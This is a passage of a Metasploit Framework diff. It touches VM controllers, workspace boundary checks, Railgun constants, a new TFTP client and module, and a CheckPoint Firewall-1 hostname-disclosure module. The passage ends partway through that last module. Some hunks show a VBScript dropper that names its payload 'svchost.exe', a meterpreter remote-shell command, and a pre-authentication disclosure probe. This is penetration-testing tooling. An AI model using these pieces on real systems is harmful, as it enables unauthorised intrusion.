if @modifiers
|
||||
|
@ -112,6 +110,14 @@ class Vm
|
|||
# modifier likely didn't exist
|
||||
end
|
||||
end
|
||||
|
||||
# Consume all tags
|
||||
@tags = config['tags']
|
||||
end
|
||||
|
||||
def tagged?(tag_name)
|
||||
return false unless @tags
|
||||
return true if @tags.include?(tag_name)
|
||||
end
|
||||
|
||||
def running?
|
||||
|
@ -163,12 +169,12 @@ class Vm
|
|||
@driver.start
|
||||
end
|
||||
|
||||
def copy_to(from,to)
|
||||
@driver.copy_to(from,to)
|
||||
def copy_to_guest(from,to)
|
||||
@driver.copy_to_guest(from,to)
|
||||
end
|
||||
|
||||
def copy_from(from,to)
|
||||
@driver.copy_from(from,to)
|
||||
def copy_from_guest(from,to)
|
||||
@driver.copy_from_guest(from,to)
|
||||
end
|
||||
|
||||
def run_command(command)
|
||||
|
@ -196,7 +202,7 @@ class Vm
|
|||
end
|
||||
|
||||
def to_s
|
||||
return "#{@vmid}"
|
||||
return "#{@hostname}"
|
||||
end
|
||||
|
||||
def to_yaml
|
||||
|
|
|
@ -50,13 +50,13 @@ module Controllers
|
|||
def [](x)
|
||||
# Support indexing by both names and number
|
||||
if x.class == String
|
||||
find_by_vmid(x)
|
||||
find_by_hostname(x)
|
||||
else
|
||||
return @vms[x]
|
||||
end
|
||||
end
|
||||
|
||||
def find_by_vmid(vmid)
|
||||
def find_by_hostname(vmid)
|
||||
@vms.each do |vm|
|
||||
if (vm.hostname.to_s.downcase == vmid.to_s.downcase)
|
||||
return vm
|
||||
|
@ -65,6 +65,12 @@ module Controllers
|
|||
return nil
|
||||
end
|
||||
|
||||
def find_by_tag(tag_name)
|
||||
tagged_vms = []
|
||||
@vms.each { |vm| tagged_vms << vm if vm.tagged?(tag_name) }
|
||||
return tagged_vms
|
||||
end
|
||||
|
||||
def add_vm(vmid, location=nil, os=nil, tools=nil, credentials=nil, user=nil, host=nil)
|
||||
@vms << Vm.new( { 'vmid' => vmid,
|
||||
'driver' => type,
|
||||
|
@ -75,7 +81,7 @@ module Controllers
|
|||
end
|
||||
|
||||
def remove_by_vmid(vmid)
|
||||
@vms.delete(self.find_by_vmid(vmid))
|
||||
@vms.delete(self.find_by_hostname(vmid))
|
||||
end
|
||||
|
||||
def from_file(file)
|
||||
|
@ -108,6 +114,14 @@ module Controllers
|
|||
false
|
||||
end
|
||||
|
||||
def includes_hostname?(hostname)
|
||||
@vms.each do |vm|
|
||||
return true if (vm.hostname == hostname)
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
def build_from_dir(driver_type, dir, clear=false)
|
||||
|
||||
if clear
|
||||
|
@ -229,7 +243,7 @@ module Controllers
|
|||
|
||||
def running?(vmid)
|
||||
if includes_vmid?(vmid)
|
||||
return self.find_by_vmid(vmid).running?
|
||||
return self.find_by_hostname(vmid).running?
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
|
|
@ -1,3 +1,4 @@
|
|||
require 'shellwords'
|
||||
module Msf
|
||||
class DBManager
|
||||
|
||||
|
@ -113,6 +114,27 @@ class Workspace < ActiveRecord::Base
|
|||
forms
|
||||
end
|
||||
|
||||
#
|
||||
# If limit_to_network is disabled, this will always return true.
|
||||
# Otherwise, return true only if all of the given IPs are within the project
|
||||
# boundaries.
|
||||
#
|
||||
def allow_actions_on?(ips)
|
||||
return true unless limit_to_network
|
||||
return true unless boundary
|
||||
return true if boundary.empty?
|
||||
boundaries = Shellwords.split(boundary)
|
||||
return true if boundaries.empty? # It's okay if there is no boundary range after all
|
||||
given_range = Rex::Socket::RangeWalker.new(ips)
|
||||
return false unless given_range # Can't do things to nonexistant IPs
|
||||
allowed = false
|
||||
boundaries.each do |boundary_range|
|
||||
ok_range = Rex::Socket::RangeWalker.new(boundary)
|
||||
allowed = true if ok_range.include_range? given_range
|
||||
end
|
||||
return allowed
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -855,7 +855,7 @@ require 'digest/sha1'
|
|||
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
|
||||
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
|
||||
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
|
||||
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
|
||||
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n"
|
||||
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
|
||||
vbs << "#{var_stream}.Close\r\n"
|
||||
vbs << "Dim #{var_shell}\r\n"
|
||||
|
|
|
@ -214,6 +214,10 @@ module Net; module SSH; module Service
|
|||
session.stop_listening_to(ch[:socket])
|
||||
end
|
||||
|
||||
channel.on_eof do |ch|
|
||||
ch.close
|
||||
end
|
||||
|
||||
channel.on_process do |ch|
|
||||
if ch[:socket].closed?
|
||||
ch.info { "#{type} forwarded connection closed" }
|
||||
|
|
|
@ -282,6 +282,22 @@ class Railgun
|
|||
return constant_manager.parse(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of windows constants names matching +winconst+
|
||||
#
|
||||
|
||||
def const_reverse_lookup(winconst,filter_regex=nil)
|
||||
return constant_manager.rev_lookup(winconst,filter_regex)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of windows error code names for a given windows error code matching +err_code+
|
||||
#
|
||||
|
||||
def error_lookup (err_code,filter_regex=/^ERROR_/)
|
||||
return constant_manager.rev_lookup(err_code,filter_regex)
|
||||
end
|
||||
|
||||
#
|
||||
# The multi-call shorthand (["kernel32", "ExitProcess", [0]])
|
||||
#
|
||||
|
|
|
@ -70,6 +70,30 @@ class WinConstManager
|
|||
def is_parseable(s)
|
||||
return parse(s) != nil
|
||||
end
|
||||
|
||||
# looks up a windows constant (integer or hex) and returns an array of matching winconstant names
|
||||
#
|
||||
# this function will NOT throw an exception but return "nil" if it can't find an error code
|
||||
def rev_lookup(winconst, filter_regex=nil)
|
||||
c = winconst.to_i # this is what we're gonna reverse lookup
|
||||
arr = [] # results array
|
||||
@consts.each_pair do |k,v|
|
||||
arr << k if v == c
|
||||
end
|
||||
if filter_regex # this is how we're going to filter the results
|
||||
# in case we get passed a string instead of a Regexp
|
||||
filter_regex = Regexp.new(filter_regex) unless filter_regex.class == Regexp
|
||||
# do the actual filtering
|
||||
arr.select! do |item|
|
||||
item if item =~ filter_regex
|
||||
end
|
||||
end
|
||||
return arr
|
||||
end
|
||||
|
||||
def is_parseable(s)
|
||||
return parse(s) != nil
|
||||
end
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
|
|
@ -153,12 +153,21 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# Drop into a system shell as specified by %COMSPEC% or
|
||||
# as appropriate for the host.
|
||||
def cmd_shell(*args)
|
||||
if client.platform =~/win/
|
||||
case client.platform
|
||||
when /win/
|
||||
path = client.fs.file.expand_path("%COMSPEC%")
|
||||
path = (path and not path.empty?) ? path : "cmd.exe"
|
||||
cmd_execute("-f", path, "-c", "-H", "-i", "-t")
|
||||
when /linux/
|
||||
# Don't expand_path() this because it's literal anyway
|
||||
path = "/bin/sh"
|
||||
cmd_execute("-f", path, "-c", "-i")
|
||||
else
|
||||
path = client.fs.file.expand_path("/bin/bash")
|
||||
# Then this is a multi-platform meterpreter (php or java), which
|
||||
# must special-case COMSPEC to return the system-specific shell.
|
||||
path = client.fs.file.expand_path("%COMSPEC%")
|
||||
# If that failed for whatever reason, guess it's unix
|
||||
path = (path and not path.empty?) ? path : "/bin/sh"
|
||||
cmd_execute("-f", path, "-c", "-i")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,3 +10,4 @@
|
|||
|
||||
require 'rex/proto/tftp/constants'
|
||||
require 'rex/proto/tftp/server'
|
||||
require 'rex/proto/tftp/client'
|
||||
|
|
|
@ -0,0 +1,343 @@
|
|||
require 'rex/socket'
|
||||
require 'rex/proto/tftp'
|
||||
require 'tempfile'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module TFTP
|
||||
|
||||
#
|
||||
# TFTP Client class
|
||||
#
|
||||
# Note that TFTP has blocks, and so does Ruby. Watch out with the variable names!
|
||||
#
|
||||
# The big gotcha right now is that setting the mode between octet, netascii, or
|
||||
# anything else doesn't actually do anything other than declare it to the
|
||||
# server.
|
||||
#
|
||||
# Also, since TFTP clients act as both clients and servers, we use two
|
||||
# threads to handle transfers, regardless of the direction. For this reason,
|
||||
# the transfer actions are nonblocking; if you need to see the
|
||||
# results of a transfer before doing something else, check the boolean complete
|
||||
# attribute and any return data in the :status attribute. It's a little
|
||||
# weird like that.
|
||||
#
|
||||
# Finally, most (all?) clients will alter the data in netascii mode in order
|
||||
# to try to conform to the RFC standard for what "netascii" means, but there are
|
||||
# ambiguities in implementations on things like if nulls are allowed, what
|
||||
# to do with Unicode, and all that. For this reason, "octet" is default, and
|
||||
# if you want to send "netascii" data, it's on you to fix up your source data
|
||||
# prior to sending it.
|
||||
#
|
||||
class Client
|
||||
|
||||
attr_accessor :local_host, :local_port, :peer_host, :peer_port
|
||||
attr_accessor :threads, :context, :server_sock, :client_sock
|
||||
attr_accessor :local_file, :remote_file, :mode, :action
|
||||
attr_accessor :complete, :recv_tempfile, :status
|
||||
attr_accessor :block_size # This definitely breaks spec, should only use for fuzz/sploit.
|
||||
|
||||
# Returns an array of [code, type, msg]. Data packets
|
||||
# specifically will /not/ unpack, since that would drop any trailing spaces or nulls.
|
||||
def parse_tftp_response(str)
|
||||
return nil unless str.length >= 4
|
||||
ret = str.unpack("nnA*")
|
||||
ret[2] = str[4,str.size] if ret[0] == OpData
|
||||
return ret
|
||||
end
|
||||
|
||||
def initialize(params)
|
||||
self.threads = []
|
||||
self.local_host = params["LocalHost"] || "0.0.0.0"
|
||||
self.local_port = params["LocalPort"] || (1025 + rand(0xffff-1025))
|
||||
self.peer_host = params["PeerHost"] || (raise ArgumentError, "Need a peer host.")
|
||||
self.peer_port = params["PeerPort"] || 69
|
||||
self.context = params["Context"] || {}
|
||||
self.local_file = params["LocalFile"]
|
||||
self.remote_file = params["RemoteFile"] || (::File.split(self.local_file).last if self.local_file)
|
||||
self.mode = params["Mode"] || "octet"
|
||||
self.action = params["Action"] || (raise ArgumentError, "Need an action.")
|
||||
self.block_size = params["BlockSize"] || 512
|
||||
end
|
||||
|
||||
#
|
||||
# Methods for both upload and download
|
||||
#
|
||||
|
||||
def start_server_socket
|
||||
self.server_sock = Rex::Socket::Udp.create(
|
||||
'LocalHost' => local_host,
|
||||
'LocalPort' => local_port,
|
||||
'Context' => context
|
||||
)
|
||||
if self.server_sock and block_given?
|
||||
yield "Started TFTP client listener on #{local_host}:#{local_port}"
|
||||
end
|
||||
self.threads << Rex::ThreadFactory.spawn("TFTPServerMonitor", false) {
|
||||
if block_given?
|
||||
monitor_server_sock {|msg| yield msg}
|
||||
else
|
||||
monitor_server_sock
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def monitor_server_sock
|
||||
yield "Listening for incoming ACKs" if block_given?
|
||||
res = self.server_sock.recvfrom(65535)
|
||||
if res and res[0]
|
||||
code, type, data = parse_tftp_response(res[0])
|
||||
if code == OpAck and self.action == :upload
|
||||
if block_given?
|
||||
yield "WRQ accepted, sending the file." if type == 0
|
||||
send_data(res[1], res[2]) {|msg| yield msg}
|
||||
else
|
||||
send_data(res[1], res[2])
|
||||
end
|
||||
elsif code == OpData and self.action == :download
|
||||
if block_given?
|
||||
recv_data(res[1], res[2], data) {|msg| yield msg}
|
||||
else
|
||||
recv_data(res[1], res[2], data)
|
||||
end
|
||||
elsif code == OpError
|
||||
yield("Aborting, got error type:%d, message:'%s'" % [type, data]) if block_given?
|
||||
self.status = {:error => [code, type, data]}
|
||||
else
|
||||
yield("Aborting, got code:%d, type:%d, message:'%s'" % [code, type, data]) if block_given?
|
||||
self.status = {:error => [code, type, data]}
|
||||
end
|
||||
end
|
||||
stop
|
||||
end
|
||||
|
||||
def monitor_client_sock
|
||||
res = self.client_sock.recvfrom(65535)
|
||||
if res[1] # Got a response back, so that's never good; Acks come back on server_sock.
|
||||
code, type, data = parse_tftp_response(res[0])
|
||||
yield("Aborting, got code:%d, type:%d, message:'%s'" % [code, type, data]) if block_given?
|
||||
self.status = {:error => [code, type, data]}
|
||||
stop
|
||||
end
|
||||
end
|
||||
|
||||
def stop
|
||||
self.complete = true
|
||||
begin
|
||||
self.server_sock.close
|
||||
self.client_sock.close
|
||||
self.server_sock = nil
|
||||
self.client_sock = nil
|
||||
self.threads.each {|t| t.kill}
|
||||
rescue
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Methods for download
|
||||
#
|
||||
|
||||
def rrq_packet
|
||||
req = [OpRead, self.remote_file, self.mode]
|
||||
packstr = "na#{self.remote_file.length+1}a#{self.mode.length+1}"
|
||||
req.pack(packstr)
|
||||
end
|
||||
|
||||
def ack_packet(blocknum=0)
|
||||
req = [OpAck, blocknum].pack("nn")
|
||||
end
|
||||
|
||||
def send_read_request(&block)
|
||||
self.status = nil
|
||||
self.complete = false
|
||||
if block_given?
|
||||
start_server_socket {|msg| yield msg}
|
||||
else
|
||||
start_server_socket
|
||||
end
|
||||
self.client_sock = Rex::Socket::Udp.create(
|
||||
'PeerHost' => peer_host,
|
||||
'PeerPort' => peer_port,
|
||||
'LocalHost' => local_host,
|
||||
'LocalPort' => local_port,
|
||||
'Context' => context
|
||||
)
|
||||
self.client_sock.sendto(rrq_packet, peer_host, peer_port)
|
||||
self.threads << Rex::ThreadFactory.spawn("TFTPClientMonitor", false) {
|
||||
if block_given?
|
||||
monitor_client_sock {|msg| yield msg}
|
||||
else
|
||||
monitor_client_sock
|
||||
end
|
||||
}
|
||||
until self.complete
|
||||
return self.status
|
||||
end
|
||||
end
|
||||
|
||||
def recv_data(host, port, first_block)
|
||||
self.recv_tempfile = Rex::Quickfile.new('msf-tftp')
|
||||
recvd_blocks = 1
|
||||
if block_given?
|
||||
yield "Source file: #{self.remote_file}, destination file: #{self.local_file}"
|
||||
yield "Received and acknowledged #{first_block.size} in block #{recvd_blocks}"
|
||||
end
|
||||
if block_given?
|
||||
write_and_ack_data(first_block,1,host,port) {|msg| yield msg}
|
||||
else
|
||||
write_and_ack_data(first_block,1,host,port)
|
||||
end
|
||||
current_block = first_block
|
||||
while current_block.size == 512
|
||||
res = self.server_sock.recvfrom(65535)
|
||||
if res and res[0]
|
||||
code, block_num, current_block = parse_tftp_response(res[0])
|
||||
if code == 3
|
||||
if block_given?
|
||||
write_and_ack_data(current_block,block_num,host,port) {|msg| yield msg}
|
||||
else
|
||||
write_and_ack_data(current_block,block_num,host,port)
|
||||
end
|
||||
recvd_blocks += 1
|
||||
else
|
||||
yield("Aborting, got code:%d, type:%d, message:'%s'" % [code, type, msg]) if block_given?
|
||||
stop
|
||||
end
|
||||
end
|
||||
end
|
||||
if block_given?
|
||||
yield("Transferred #{self.recv_tempfile.size} bytes in #{recvd_blocks} blocks, download complete!")
|
||||
end
|
||||
self.status = {:success => [
|
||||
self.local_file,
|
||||
self.remote_file,
|
||||
self.recv_tempfile.size,
|
||||
recvd_blocks.size]
|
||||
}
|
||||
self.recv_tempfile.close
|
||||
stop
|
||||
end
|
||||
|
||||
def write_and_ack_data(data,blocknum,host,port)
|
||||
self.recv_tempfile.write(data)
|
||||
self.recv_tempfile.flush
|
||||
req = ack_packet(blocknum)
|
||||
self.server_sock.sendto(req, host, port)
|
||||
yield "Received and acknowledged #{data.size} in block #{blocknum}" if block_given?
|
||||
end
|
||||
|
||||
#
|
||||
# Methods for upload
|
||||
#
|
||||
|
||||
def wrq_packet
|
||||
req = [OpWrite, self.remote_file, self.mode]
|
||||
packstr = "na#{self.remote_file.length+1}a#{self.mode.length+1}"
|
||||
req.pack(packstr)
|
||||
end
|
||||
|
||||
# Note that the local filename for uploading need not be a real filename --
|
||||
# if it begins with DATA: it can be any old string of bytes. If it's missing
|
||||
# completely, then just quit.
|
||||
def blockify_file_or_data
|
||||
if self.local_file =~ /^DATA:(.*)/m
|
||||
data = $1
|
||||
elsif ::File.file?(self.local_file) and ::File.readable?(self.local_file)
|
||||
data = ::File.open(self.local_file, "rb") {|f| f.read f.stat.size} rescue []
|
||||
else
|
||||
return []
|
||||
end
|
||||
data_blocks = data.scan(/.{1,#{block_size}}/m)
|
||||
# Drop any trailing empty blocks
|
||||
if data_blocks.size > 1 and data_blocks.last.empty?
|
||||
data_blocks.pop
|
||||
end
|
||||
return data_blocks
|
||||
end
|
||||
|
||||
def send_write_request(&block)
|
||||
self.status = nil
|
||||
self.complete = false
|
||||
if block_given?
|
||||
start_server_socket {|msg| yield msg}
|
||||
else
|
||||
start_server_socket
|
||||
end
|
||||
self.client_sock = Rex::Socket::Udp.create(
|
||||
'PeerHost' => peer_host,
|
||||
'PeerPort' => peer_port,
|
||||
'LocalHost' => local_host,
|
||||
'LocalPort' => local_port,
|
||||
'Context' => context
|
||||
)
|
||||
self.client_sock.sendto(wrq_packet, peer_host, peer_port)
|
||||
self.threads << Rex::ThreadFactory.spawn("TFTPClientMonitor", false) {
|
||||
if block_given?
|
||||
monitor_client_sock {|msg| yield msg}
|
||||
else
|
||||
monitor_client_sock
|
||||
end
|
||||
}
|
||||
until self.complete
|
||||
return self.status
|
||||
end
|
||||
end
|
||||
|
||||
def send_data(host,port)
|
||||
self.status = {:write_allowed => true}
|
||||
data_blocks = blockify_file_or_data()
|
||||
if data_blocks.empty?
|
||||
yield "Closing down since there is no data to send." if block_given?
|
||||
self.status = {:success => [self.local_file, self.local_file, 0, 0]}
|
||||
return nil
|
||||
end
|
||||
sent_data = 0
|
||||
sent_blocks = 0
|
||||
expected_blocks = data_blocks.size
|
||||
expected_size = data_blocks.join.size
|
||||
if block_given?
|
||||
yield "Source file: #{self.local_file =~ /^DATA:/ ? "(Data)" : self.remote_file}, destination file: #{self.remote_file}"
|
||||
yield "Sending #{expected_size} bytes (#{expected_blocks} blocks)"
|
||||
end
|
||||
data_blocks.each_with_index do |data_block,idx|
|
||||
req = [OpData, (idx + 1), data_block].pack("nnA*")
|
||||
if self.server_sock.sendto(req, host, port) > 0
|
||||
sent_data += data_block.size
|
||||
end
|
||||
res = self.server_sock.recvfrom(65535)
|
||||
if res
|
||||
code, type, msg = parse_tftp_response(res[0])
|
||||
if code == 4
|
||||
sent_blocks += 1
|
||||
yield "Sent #{data_block.size} bytes in block #{sent_blocks}" if block_given?
|
||||
else
|
||||
if block_given?
|
||||
yield "Got an unexpected response: Code:%d, Type:%d, Message:'%s'. Aborting." % [code, type, msg]
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if block_given?
|
||||
if(sent_data == expected_size)
|
||||
yield("Transferred #{sent_data} bytes in #{sent_blocks} blocks, upload complete!")
|
||||
else
|
||||
yield "Upload complete, but with errors."
|
||||
end
|
||||
end
|
||||
if sent_data == expected_size
|
||||
self.status = {:success => [
|
||||
self.local_file,
|
||||
self.remote_file,
|
||||
sent_data,
|
||||
sent_blocks
|
||||
] }
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -262,7 +262,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
query = %Q|
|
||||
SELECT limit
|
||||
FROM dba_profiles
|
||||
WHERE resource_name = 'FAILED_LOGIN_ATTEMPTS'
|
||||
WHERE resource_name = 'PASSWORD_GRACE_TIME'
|
||||
AND profile = 'DEFAULT'
|
||||
|
|
||||
grace_time = prepare_exec(query)
|
||||
|
|
|
@ -0,0 +1,226 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Rex::Proto::TFTP
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'TFTP File Transfer Utility',
|
||||
'Description' => %q{
|
||||
This module will transfer a file to or from a remote TFTP server.
|
||||
Note that the target must be able to connect back to the Metasploit system,
|
||||
and NAT traversal for TFTP is often unsupported.
|
||||
|
||||
Two actions are supported: "Upload" and "Download," which behave as one might
|
||||
expect -- use 'set action Actionname' to use either mode of operation.
|
||||
|
||||
If "Download" is selected, at least one of FILENAME or REMOTE_FILENAME
|
||||
must be set. If "Upload" is selected, either FILENAME must be set to a valid path to
|
||||
a source file, or FILEDATA must be populated. FILENAME may be a fully qualified path,
|
||||
or the name of a file in the Msf::Config.local_directory or Msf::Config.data_directory.
|
||||
},
|
||||
'Author' => [ 'todb' ],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.faqs.org/rfcs/rfc1350.html'],
|
||||
['URL', 'http://www.networksorcery.com/enp/protocol/tftp.htm']
|
||||
],
|
||||
'Actions' => [
|
||||
[ 'Download', {'Description' => "Download REMOTE_FILENAME as FILENAME from the server."}],
|
||||
[ 'Upload', {'Description' => "Upload FILENAME as REMOTE_FILENAME to the server."}]
|
||||
],
|
||||
'DefaultAction' => 'Upload',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options([
|
||||
OptString.new( 'FILENAME', [false, "The local filename" ]),
|
||||
OptString.new( 'FILEDATA', [false, "Data to upload in lieu of a real local file." ]),
|
||||
OptString.new( 'REMOTE_FILENAME', [false, "The remote filename"]),
|
||||
OptAddress.new('RHOST', [true, "The remote TFTP server"]),
|
||||
OptPort.new( 'LPORT', [false, "The local port the TFTP client should listen on (default is random)" ]),
|
||||
OptAddress.new('LHOST', [false, "The local address the TFTP client should bind to"]),
|
||||
OptBool.new( 'VERBOSE', [false, "Display verbose details about the transfer", false]),
|
||||
OptString.new( 'MODE', [false, "The TFTP mode; usual choices are netascii and octet.", "octet"]),
|
||||
Opt::RPORT(69)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def mode
|
||||
datastore['MODE'] || "octect"
|
||||
end
|
||||
|
||||
def remote_file
|
||||
return datastore['REMOTE_FILENAME'] if datastore['REMOTE_FILENAME']
|
||||
return ::File.split(datastore['FILENAME']).last if datastore['FILENAME']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT'] || 69
|
||||
end
|
||||
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
# Used only to store loot, doesn't actually have any semantic meaning
|
||||
# for the TFTP protocol.
|
||||
def datatype
|
||||
case datastore['MODE']
|
||||
when "netascii"
|
||||
"text/plain"
|
||||
else
|
||||
"application/octet-stream"
|
||||
end
|
||||
end
|
||||
|
||||
def file
|
||||
if action.name == "Upload"
|
||||
fdata = datastore['FILEDATA'].to_s
|
||||
fname = datastore['FILENAME'].to_s
|
||||
if not fdata.empty?
|
||||
fdata_decorated = "DATA:#{datastore['FILEDATA']}"
|
||||
elsif ::File.readable? fname
|
||||
fname
|
||||
else
|
||||
fname_local = ::File.join(Msf::Config.local_directory,fname)
|
||||
fname_data = ::File.join(Msf::Config.data_directory,fname)
|
||||
return fname_local if ::File.file?(fname_local) and ::File.readable?(fname_local)
|
||||
return fname_data if ::File.file?(fname_data) and ::File.readable?(fname_data)
|
||||
return nil # Couldn't find it, giving up.
|
||||
end
|
||||
else # "Download"
|
||||
fname = ::File.split(datastore['FILENAME'] || datastore['REMOTE_FILENAME']).last rescue nil
|
||||
end
|
||||
end
|
||||
|
||||
# Experimental message prepending thinger. Might make it up into the
|
||||
# standard Metasploit lib like vprint_status and friends.
|
||||
def rtarget(ip=nil)
|
||||
if (ip or rhost) and rport
|
||||
[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
|
||||
elsif (ip or rhost)
|
||||
"#{rhost} "
|
||||
else
|
||||
""
|
||||
end
|
||||
end
|
||||
|
||||
# This all happens before run(), and should give an idea on how to use
|
||||
# the TFTP client mixin. Essentially, you create an instance of the
|
||||
# Rex::Proto::TFTP::Client class, fill it up with the relevant host and
|
||||
# file data, set it to either :upload or :download, then kick off the
|
||||
# transfer as you like.
|
||||
def setup
|
||||
@lport = datastore['LPORT'] || (1025 + rand(0xffff-1025))
|
||||
@lhost = datastore['LHOST'] || "0.0.0.0"
|
||||
@local_file = file
|
||||
@remote_file = remote_file
|
||||
|
||||
@tftp_client = Rex::Proto::TFTP::Client.new(
|
||||
"LocalHost" => @lhost,
|
||||
"LocalPort" => @lport,
|
||||
"PeerHost" => rhost,
|
||||
"PeerPort" => rport,
|
||||
"LocalFile" => @local_file,
|
||||
"RemoteFile" => @remote_file,
|
||||
"Mode" => mode,
|
||||
"Action" => action.name.to_s.downcase.intern
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
case action.name
|
||||
when 'Upload'
|
||||
if file
|
||||
run_upload()
|
||||
else
|
||||
print_error "Need at least a local file name or file data to upload."
|
||||
return
|
||||
end
|
||||
when 'Download'
|
||||
if remote_file
|
||||
run_download()
|
||||
else
|
||||
print_error "Need at least a remote file name to download."
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error "Unknown action: '#{action.name}'"
|
||||
end
|
||||
while not @tftp_client.complete
|
||||
select(nil,nil,nil,1)
|
||||
print_status [rtarget,"TFTP transfer operation complete."].join
|
||||
save_downloaded_file() if action.name == 'Download'
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# Run in case something untoward happend with the connection and the
|
||||
# client object didn't get stopped on its own. This can happen with
|
||||
# transfers that got interrupted or malformed (like sending a 0 byte
|
||||
# file).
|
||||
def cleanup
|
||||
if @tftp_client and @tftp_client.respond_to? :complete
|
||||
while not @tftp_client.complete
|
||||
select(nil,nil,nil,1)
|
||||
vprint_status "Cleaning up the TFTP client ports and threads."
|
||||
@tftp_client.stop
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_upload
|
||||
print_status "Sending '#{file}' to #{rhost}:#{rport} as '#{remote_file}'"
|
||||
ret = @tftp_client.send_write_request { |msg| print_tftp_status(msg) }
|
||||
end
|
||||
|
||||
def run_download
|
||||
print_status "Receiving '#{remote_file}' from #{rhost}:#{rport} as '#{file}'"
|
||||
ret = @tftp_client.send_read_request { |msg| print_tftp_status(msg) }
|
||||
end
|
||||
|
||||
def save_downloaded_file
|
||||
print_status "Saving #{remote_file} as '#{file}'"
|
||||
fh = @tftp_client.recv_tempfile
|
||||
data = File.open(fh,"rb") {|f| f.read f.stat.size} rescue nil
|
||||
if data and not data.empty?
|
||||
unless framework.db.active
|
||||
print_status "No database connected, so not actually saving the data:"
|
||||
print_line data
|
||||
end
|
||||
this_service = report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => "tftp",
|
||||
:proto => "udp"
|
||||
)
|
||||
store_loot("tftp.file",datatype,rhost,data,file,remote_file,this_service)
|
||||
else
|
||||
print_status [rtarget,"Did not find any data, so nothing to save."].join
|
||||
end
|
||||
fh.unlink rescue nil # Windows often complains about unlinking tempfiles
|
||||
end
|
||||
|
||||
def print_tftp_status(msg)
|
||||
case msg
|
||||
when /Aborting/, /errors.$/
|
||||
print_error [rtarget,msg].join
|
||||
when /^WRQ accepted/, /^Sending/, /complete!$/
|
||||
print_good [rtarget,msg].join
|
||||
else
|
||||
vprint_status [rtarget,msg].join
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,7 +1,3 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
@ -9,28 +5,30 @@
|
|||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CheckPoint Firewall-1 Topology Service Hostname Disclosure',
|
||||
'Name' => 'CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure',
|
||||
'Description' => %q{
|
||||
This module sends a query to the TCP port 264 on CheckPoint
|
||||
This module sends a query to the port 264/TCP on CheckPoint Firewall-1
|
||||
firewalls to obtain the firewall name and management station
|
||||
(such as SmartCenter) name.
|
||||
(such as SmartCenter) name via a pre-authentication topology request.
|
||||
Note that the SecuriTeam reference listed here is not the same vulnerabilty, but it
|
||||
does discus the same protocol and is somewhat related to this information
|
||||
disclosure.
|
||||
},
|
||||
'Author' => [ 'patrick' ],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate' => 'Dec 14 2011', # Looks like this module is first real reference
|
||||
'References' =>
|
||||
[
|
||||
# patrickw - None? Stumbled across, probably an old bug/feature but unsure.
|
||||
[ 'URL', 'http://www.osisecurity.com.au/advisories/' ],
|
||||
[ 'URL', 'http://www.osisecurity.com.au/advisories/' ], # Advisory coming soon, placeholder
|
||||
[ 'URL', 'http://www.securiteam.com/securitynews/5HP0D2A4UC.html' ] # Related-ish
|
||||
]
|
||||
))
|
||||
|
||||
|
@ -45,25 +43,53 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
print_status("Attempting to contact Checkpoint FW1 Topology service...")
|
||||
print_status("Attempting to contact Checkpoint FW1 SecuRemote Topology service...")
|
||||
fw_hostname = nil
|
||||
sc_hostname = nil
|
||||
|
||||
connect
|
||||
|
||||
sock.put("\x51\x00\x00\x00")
|
||||
sock.put("\x00\x00\x00\x21")
|
||||
